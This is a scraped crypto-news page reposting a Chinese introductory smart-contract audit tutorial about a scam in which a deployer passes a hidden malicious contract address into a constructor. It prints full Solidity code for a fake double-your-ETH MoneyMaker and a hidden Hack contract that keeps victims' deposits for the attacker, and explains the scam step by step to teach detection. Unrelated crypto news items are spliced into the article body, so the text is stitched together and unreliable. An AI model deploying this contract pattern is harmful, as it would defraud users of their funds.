木星链 木星链
Ctrl+D收藏木星链
首页 > ICP > 正文

MAKE:智能合约安全审计入门篇 —— 移花接木

作者:

时间:1900/1/1 0:00:00

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

Web3智能合约钱包Unipass上线Scrollpre-alpha测试网:12月19日消息,Web3智能合约钱包Unipass现已部署在以太坊扩容项目Scrollpre-alpha测试网上。Unipass是一个建立在MPC密钥管理之上的智能合约钱包,用户可以使用电子邮件和密码注册,并且支持on-chain Email社交恢复,帮助用户方便地管理他们的私钥,而无需使用Web2用户不熟悉且容易出错的助记词等工具。[2022/12/19 21:53:37]

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

Argent即将上线的L2智能合约钱包将支持部分DeFi应用:8月26日,智能合约钱包Argent发推表示,即将上线的基于zkSync的二层网络钱包将支持Lido、Aave、Yearn、Paraswap和IndexedFinance等DeFi应用。据悉,当推特用户询问Argent,这是否意味着这些DeFi协议会部署至zkSync的二层网络中时,Argent表示,用户可以通过Argent在zkSync中的L2账户接入这些DeFi应用。[2021/8/26 22:39:41]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

流动性挖矿项目CORE出现绕过其智能合约转账规则从流动性交易对中撤回资金的情况:流动性挖矿项目 CORE 表示,发现有人从 CORE 流动性交易对中撤回了流动性资金,这违反了 CORE 智能合约的设计初衷。按理来说,撤回流动性资金是非常困难的,需要设置特定的 EVM (以太坊虚拟机)状态,或者在代币合约启动当日可能会有千分之一的机会发生这种情况。本次特例事件应该是一个巧合,CORE 团队此前撰文称,所有转账都必须获得 CORE 转账智能合约的批准,这将阻止从 Uniswap 中提取所有的流动资金,以确保市场稳定性,使代币持有者和挖矿农民在获得竞争性优势。[2020/9/27]

而实际的调用路径为:

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

2.Evil部署Hack(C)恶意合约;

区块链安全审计公司:Cardano将成为仅次于以太坊的智能合约平台:金色财经报道,过去两个月一直在审核Cardano代码库的区块链安全审计公司Quantstamp认为,在Shelley硬分叉后,Cardano将成为仅次于以太坊的第二大智能合约平台。Quantstamp首席执行官Richard Ma表示,他们最近审计了ETH 2.0的prysm,在质量方面,他们认为Cardano与prysm相似,是区块链领域最好的代码库之一。[2020/8/4]

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

金色财经现场报道Emotiq首席执行官Joel Reymont:智能合约是用户与区块链的接口:金色财经前方记者实时报道,第二届全球金融科技与区块链中国峰会于4月12日在上海召开,CEmotiq首席执行官Joel Reymont在峰会上表示,智能合约语言其实就是一个接口,也就是你和区块链的接口。但是现实存在的问题是,目前智能合约的语言非常复杂,编程起来也比较困难,而且还存在很多漏洞,黑客可以利用这些漏洞来偷取加密货币。而我们要做什么呢?我们会不会有更加专业化,或者去培育更加专业化的程序员,把这个事情做对。我觉得这个可能不太现实。我们想要区块链能够让大家共享的,但是我们却给区块链接入创造了一些障碍,但是我们还是有一丝希望存在,这个一丝希望叫做静态的分析。[2018/4/12]

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

标签:MAKEMakerMONVAULTmakerdao是什么币MakerDAOMongoose CoinVAULT币

ICP热门资讯
数字人:巴比特午间要闻一览

1.蕾哈娜旗下美妆品牌FentyBeauty申请元宇宙和NFT相关商标2.研究:2028年全球制造业市场区块链规模预计将超过140亿美元Dynex项目Discord服务器已被入侵:金色财经报道.

1900/1/1 0:00:00
元宇宙:元宇宙第一股Roblox,日活近七千万创新高,代币销售额破7亿美元

来源丨元宇宙简史作者丨元宇宙简史编辑部作为元宇宙的先驱之一,Roblox在2023年第一季度取得了令人瞩目的成绩.

1900/1/1 0:00:00
OIN:晚间必读 | 一文了解ZKWasm及其最新进展

1.再质押协议EigenLayer测试网交互指南以太坊质押的下一个重头戏是EigenLayer,这是一种新的“再质押”协议,有望为以太坊质押者带来大量新的盈利机会.

1900/1/1 0:00:00
DOL:王一博VS“虚拟人”?乐华“永不塌房”的偶像计划可行吗?

文|?Lily?Ji来源:Morketing前段时间网传乐华正筹备上市,网友戏称其为“王一博概念股”,因为该公司一半的盈利都来自于这位顶流男星;而这也让业内对乐华的营收结构颇感忧虑.

1900/1/1 0:00:00
ENT:给你个成为好人的机会:如何靠漏洞赏金谈判追回资产?

自2020年10月至2023年3月,Web3.0领域中在遭受攻击后仍能收回或部分收回损失资金的事件共有25起。在这25起事件中,被盗资金总计约13.5亿美元,其中的9.92亿美元被返还.

1900/1/1 0:00:00
OOT:仿Loot的NFT项目SpaceLoot成为Terra生态第一个NFT项目

据Decrypt9月11日消息,Terra生态的第一个NFT项目SpaceLoot的申领已经结束.

1900/1/1 0:00:00